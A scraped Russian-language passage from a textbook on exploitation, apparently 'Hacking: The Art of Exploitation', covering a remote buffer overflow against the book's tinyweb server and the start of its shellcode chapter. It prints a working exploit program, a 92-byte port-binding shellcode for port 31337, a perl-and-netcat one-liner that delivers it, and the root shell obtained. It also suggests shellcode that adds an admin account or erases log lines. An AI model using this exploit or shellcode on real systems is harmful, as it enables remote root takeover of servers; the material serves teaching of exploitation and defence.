Главная страница
Навигация по странице:

  • 0x483 Шелл-код для привязки порта

  • Новая строка из tinyweb_exploit2.c

  • 0x500 Шелл-код (код оболочки)

  • 0x510 Ассемблер и C

  • Хакинг. Хакинг__искусство_эксплоита_2_е_469663841. Книга дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах


    Скачать 2.5 Mb.
    НазваниеКнига дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах
    АнкорХакинг
    Дата16.06.2022
    Размер2.5 Mb.
    Формат файлаpdf
    Имя файлаХакинг__искусство_эксплоита_2_е_469663841.pdf
    ТипКнига
    #595131
    страница32 из 51
    1   ...   28   29   30   31   32   33   34   35   ...   51

    \n”, argv[0]);
    exit(1);
    }
    if((host_info = gethostbyname(argv[1])) == NULL)
    fatal(“looking up hostname”);
    if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
    fatal(“in socket”);
    target_addr.sin_family = AF_INET;
    target_addr.sin_port = htons(80);
    target_addr.sin_addr = *((struct in_addr *)host_info->h_addr);
    memset(&(target_addr.sin_zero), ‘\0’, 8); // Обнулить остаток структуры.
    if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1)
    fatal(“connecting to target server”);
    bzero(buffer, 600); // Обнулить буфер.
    memset(buffer, ‘\x90’, OFFSET); // Построить NOP-цепочку.
    *((u_int *)(buffer + OFFSET)) = RETADDR; // Поместить в шелл-код memcpy(buffer+300, shellcode, strlen(shellcode)); // адрес возврата.
    strcat(buffer, “\r\n”); // Завершить строку.
    printf(“Exploit buffer:\n”);

    310
    0x400Сетевое взаимодействие dump(buffer, strlen(buffer)); // Вывести буфер эксплойта.
    send_string(sockfd, buffer); // Отправить буфер эксплойта как запрос HTTP.
    exit(0);
    }
    Запустив эту программу, мы можем удаленно управлять машинами, на которых работает программа tinyweb, заставляя их выполнять шелл- код. Эксплойт также показывает байты буфера эксплойта перед тем, как отправить его. Ниже показана проверка эксплойта на программе
    tinyweb, запущенной в другом терминале. Вот что выводится на терми- нал атакующего:
    reader@hacking:

    /booksrc $ gcc tinyweb_exploit.c reader@hacking:/booksrc $ ./a.out 127.0.0.1
    Exploit buffer:
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 31 c0 31 db | ............1.1.
    31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 2f 2f 73 68 | 1......j.XQh//sh
    68 2f 62 69 6e 89 e3 51 89 e2 53 89 e1 cd 80 90 | h/bin..Q..S.....
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 88 f6 ff bf | ................

    0x480 Пойди и кого-нибудь взломай!
    311
    0d 0a | ..
    reader@hacking:/booksrc $
    На терминале, где запущена tinyweb, видно, что получен буфер экс- плойта и запущен шелл-код. Это дает нам оболочку суперпользовате- ля, но мы находимся на другой консоли, поэтому пользы от нее ника- кой. На консоли сервера видим следующее:
    reader@hacking:/booksrc $ ./tinyweb
    Accepting web requests on port 80
    Got request from 127.0.0.1:53908 “GET / HTTP/1.1”
    Opening ‘./webroot/index.html’ 200 OK
    Got request from 127.0.0.1:40668 “GET /image.jpg HTTP/1.1”
    Opening ‘./webroot/image.jpg’ 200 OK
    Got request from 127.0.0.1:58504

    □□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
    □□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
    □□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
    □□□□□□□□□□□□□□1□1□1□□□ j
    XQh//shh/bin
    □□Q□□S□□□□□□□□□
    □□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
    □□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□“
    NOT HTTP!
    sh-3.2#
    Уязвимость есть, но такой шелл-код не даст нам то, чего мы хотим.
    Шелл-код – это самостоятельная программа, заставляющая другую программу открыть оболочку. Как только мы получили доступ к ука- зателю команды программы, внедренный шелл-код может делать что угодно. Есть много видов шелл-кода, которые можно использовать в различных ситуациях. Даже если шелл-код не запускает оболочку
    (shell), его принято называть этим именем.
    0x483 Шелл-код для привязки порта
    При эксплойте удаленной программы запускать локальную оболочку бессмысленно. Шелл-код с привязкой порта слушает соединение TCP на некотором порте и предоставляет удаленную оболочку. Если готов шелл-код для привязки порта, достаточно заменить несколько байт в эксплойте. На загрузочном диске
    1
    есть шелл-код, который привязы- вается к порту 31337. Байты этого шелл-кода приведены в следующем листинге.
    reader@hacking:/booksrc $ wc -c portbinding_shellcode
    92 portbinding_shellcode reader@hacking:/booksrc $ hexdump -C portbinding_shellcode
    00000000 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 e1 cd 80 |jfX.1.CRj.j.....|
    00000010 96 6a 66 58 43 52 66 68 7a 69 66 53 89 e1 6a 10 |.jfXCRfhzifS..j.|
    1
    www.symbol.ru/library/hacking-2ed. – Прим. ред.

    312
    0x400Сетевое взаимодействие
    00000020 51 56 89 e1 cd 80 b0 66 43 43 53 56 89 e1 cd 80 |QV.....fCCSV....|
    00000030 b0 66 43 52 52 56 89 e1 cd 80 93 6a 02 59 b0 3f |.fCRRV.....j.Y.?|
    00000040 cd 80 49 79 f9 b0 0b 52 68 2f 2f 73 68 68 2f 62 |..Iy...Rh//shh/b|
    00000050 69 6e 89 e3 52 89 e2 53 89 e1 cd 80 |in..R..S....|
    0000005c reader@hacking:/booksrc $ od -tx1 portbinding_shellcode | cut -c8-80 | sed
    -e ‘s/ /\\x/g’
    \x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80
    \x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10
    \x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80
    \xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f
    \xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62
    \x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80
    reader@hacking:/booksrc $
    Немного форматирования, и эти байты можно вставить в шелл-код программы tinyweb_exploit.c, получив tinyweb_exploit2.c. Вот эта новая строка шелл-кода.
    Новая строка из tinyweb_exploit2.c
    char shellcode[]=
    “\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80”
    “\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10”
    “\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80”
    “\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f”
    “\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62”
    “\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80”;
    // Port-binding shellcode on port 31337
    После компиляции и запуска этой программы против узла, на котором запущен сервер tinyweb, шелл-код будет ждать соединения TCP на пор- те 31337. Ниже показано, как программа nc подключается к оболоч- ке. Ее полное имя netcat, и она действует подобно команде cat, но че- рез сеть. Мы не можем воспользоваться telnet для подключения, пото- му что эта программа автоматически завершает все исходящие строки символами ‘\r\n’. Ниже приведен результат работы эксплойта. Ключ
    -vv в командной строке netcat просто задает режим вывода более под- робных сообщений.
    reader@hacking:/booksrc $ gcc tinyweb_exploit2.c reader@hacking:/booksrc $ ./a.out 127.0.0.1
    Exploit buffer:
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................

    0x480 Пойди и кого-нибудь взломай!
    313
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 6a 66 58 99 | ............jfX.
    31 db 43 52 6a 01 6a 02 89 e1 cd 80 96 6a 66 58 | 1.CRj.j......jfX
    43 52 66 68 7a 69 66 53 89 e1 6a 10 51 56 89 e1 | CRfhzifS..j.QV..
    cd 80 b0 66 43 43 53 56 89 e1 cd 80 b0 66 43 52 | ...fCCSV.....fCR
    52 56 89 e1 cd 80 93 6a 02 59 b0 3f cd 80 49 79 | RV.....j.Y.?..Iy f9 b0 0b 52 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 | ...Rh//shh/bin..
    52 89 e2 53 89 e1 cd 80 90 90 90 90 90 90 90 90 | R..S............
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
    90 90 90 90 90 90 90 90 90 90 90 90 88 f6 ff bf | ................
    0d 0a | ..
    reader@hacking:/booksrc $ nc -vv 127.0.0.1 31337
    localhost [127.0.0.1] 31337 (?) open whoami root ls -l /etc/passwd
    -rw-r--r-- 1 root root 1545 Sep 9 16:24 /etc/passwd
    Несмотря на то что удаленная оболочка не выводит приглашение, она принимает команды и отображает результаты через сеть.
    Такую программу, как netcat, можно использовать с разными целями.
    Это консольная программа, и она позволяет переадресовать и конвейе- ризовать входные и выходные данные. Если есть netcat и файл с шелл- кодом привязки порта, тот же эксплойт можно выполнить в команд- ной строке.
    reader@hacking:/booksrc $ wc -c portbinding_shellcode
    92 portbinding_shellcode reader@hacking:/booksrc $ echo $((540+4 - 300 - 92))
    152
    reader@hacking:/booksrc $ echo $((152 / 4))
    38
    reader@hacking:/booksrc $ (perl -e ‘print “\x90”x300’;
    > cat portbinding_shellcode
    > perl -e ‘print “\x88\xf6\xff\xbf”x38 . \r\n”’)

    314
    0x400Сетевое взаимодействие
    □□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
    □□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
    □□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
    □□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□jfX□1□CRj j □□ □ jfXC RfhzifS
    □□j QV□□ □fCCSV□□ □fCRRV□□ □j Y□? Iy□□
    Rh//shh/bin
    □□R□□S□□
    □□□□□□□□□□□ □□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
    □□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□ reader@hacking:/booksrc $ (perl -e ‘print “\x90”x300’; cat portbinding_
    shellcode;
    perl -e ‘print “\x88\xf6\xff\xbf”x38 . “\r\n”’) | nc -v -w1 127.0.0.1 80
    localhost [127.0.0.1] 80 (www) open reader@hacking:/booksrc $ nc -v 127.0.0.1 31337
    localhost [127.0.0.1] 31337 (?) open whoami root
    Здесь мы сначала определили, что длина шелл-кода составляет 92 бай- та. Адрес возврата находится на расстоянии 540 байт от начала буфера, поэтому при 300 байт NOP-цепочки и 92 байт шелл-кода остается 152 до перезаписываемого адреса возврата. В таком случае, если повторить но- вый адрес возврата 38 раз в конце буфера, старый адрес будет изменен.
    Наконец, нужно завершить буфер комбинацией ‘\r\n’. Команды, стро- ящие буфер, заключены в скобки, чтобы передать буфер на вход netcat.
    После этого netcat соединяется с программой tinyweb и посылает ей бу- фер. После запуска шелл-кода нужно прервать netcat, нажав Ctrl-C, по- тому что изначальное соединение сокетов остается открытым. Далее
    netcat используется снова, чтобы подключиться к оболочке, привязан- ной к порту 31337.

    0x500
    Шелл-код (код оболочки)
    До сих пор использовавшийся в наших эксплойтах шелл­код представлял
    собой лишь строку байтов, которая копировалась и вставлялась. Мы озна­
    комились со стандартным шелл­кодом для запуска оболочки в локальных
    эксплойтах и шелл­кодом, привязывающим порты, в удаленных эксплой­
    тах. Шелл­код иногда называют также
    нагрузкой эксплойта (exploit
    payload), потому что эти самостоятельные программы выполняют на­
    стоящую работу после взлома программы. Обычно шелл­код запускает
    оболочку, что является красивым способом передать управление, но он мо­
    жет выполнять все то же, что делает любая программа.
    К сожалению, для многих хакеров вся работа с шелл-кодом не выхо- дит за пределы копирования и вставки байтов. А это самый верхний слой открывающихся возможностей. С помощью специального шелл- кода можно полностью управлять захваченной программой. Например, можно заставить шелл-код добавить учетную запись администратора в файл /etc/passwd или автоматически удалить строки из журнальных файлов. Если вы научитесь писать шелл-код, ваши возможности будут ограничены только воображением. Кроме того, при написании шелл- кода вы усовершенствуете свое владение языком ассемблера и узнаете ряд достойных хакерских приемов.
    0x510 Ассемблер и C
    Байты шелл-кода это машинные инструкции (команды), ориентиро- ванные на определенную архитектуру, поэтому шелл-код пишут на ас- семблере. На ассемблере пишут не так, как на C, хотя многие принципы одинаковы. Операционная система решает такие проблемы, как ввод, вывод, управление процессами, доступ к файлам и передача данных по сети, с помощью ядра. Скомпилированные программы C решают эти

    316
    0x500 Шелл-код (код оболочки) задачи путем выполнения в конечном счете системных вызовов, обра- щенных к ядру. У каждой операционной системы есть свой набор си- стемных вызовов.
    В языке C для удобства и переносимости на другие платформы исполь- зуются стандартные библиотеки. Если программа на C использует для вывода строки функцию printf(), ее можно компилировать для разных систем, потому что библиотекам известно, какие системные вызовы нужно использовать в каждой архитектуре. Программа на C при ком- пиляции на процессоре x86 создаст код на языке ассемблера x86.
    Язык ассемблера по определению связан с определенной архитектурой процессора, поэтому такой код не переносим. Для него нет стандартных библиотек, и системные вызовы должны выполняться непосредствен- но. Для сравнения напишем простую программу на C, а затем перепи- шем ее на ассемблере для x86.
    helloworld.c
    #include
    int main() {
    printf(“Hello, world!\n”);
    return 0;
    }
    При запуске этой программы после компиляции происходит обращение к стандартной библиотеке ввода/вывода, и в конце концов для вывода на экран строки Hello, world! выполняется системный вызов. Просле- дить за системными вызовами, осуществляемыми из программы, мож- но с помощью утилиты strace. Примененная к программе helloworld, она покажет все системные вызовы, которые выполняет эта программа:
    reader@hacking:/booksrc $ gcc helloworld.c reader@hacking:/booksrc $ strace ./a.out execve(“./a.out”, [“./a.out”], [/* 27 vars */]) = 0
    brk(0) = 0x804a000
    access(“/etc/ld.so.nohwcap”, F_OK) = -1 ENOENT (No such file or directory)
    mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
    0xb7ef6000
    access(“/etc/ld.so.preload”, R_OK) = -1 ENOENT (No such file or directory)
    open(“/etc/ld.so.cache”, O_RDONLY) = 3
    fstat64(3, {st_mode=S_IFREG|0644, st_size=61323, ...}) = 0
    mmap2(NULL, 61323, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7ee7000
    close(3) = 0
    access(“/etc/ld.so.nohwcap”, F_OK) = -1 ENOENT (No such file or directory)
    open(“/lib/tls/i686/cmov/libc.so.6”, O_RDONLY) = 3
    read(3, “\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\20Z\1\000”..., 512)
    = 512
    fstat64(3, {st_mode=S_IFREG|0755, st_size=1248904, ...}) = 0
    mmap2(NULL, 1258876, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) =
    0xb7db3000

    0x510 Ассемблер и C
    317
    mmap2(0xb7ee0000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_
    DENYWRITE, 3, 0x12c) = 0xb7ee0000
    mmap2(0xb7ee4000, 9596, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_
    ANONYMOUS, -1, 0) = 0xb7ee4000
    close(3) = 0
    mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
    0xb7db2000
    set_thread_area({entry_number:-1 -> 6, base_addr:0xb7db26b0, limit:1048575, seg_32bit:1,
    contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
    mprotect(0xb7ee0000, 8192, PROT_READ) = 0
    munmap(0xb7ee7000, 61323) = 0
    fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0
    mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
    0xb7ef5000
    1   ...   28   29   30   31   32   33   34   35   ...   51


    написать администратору сайта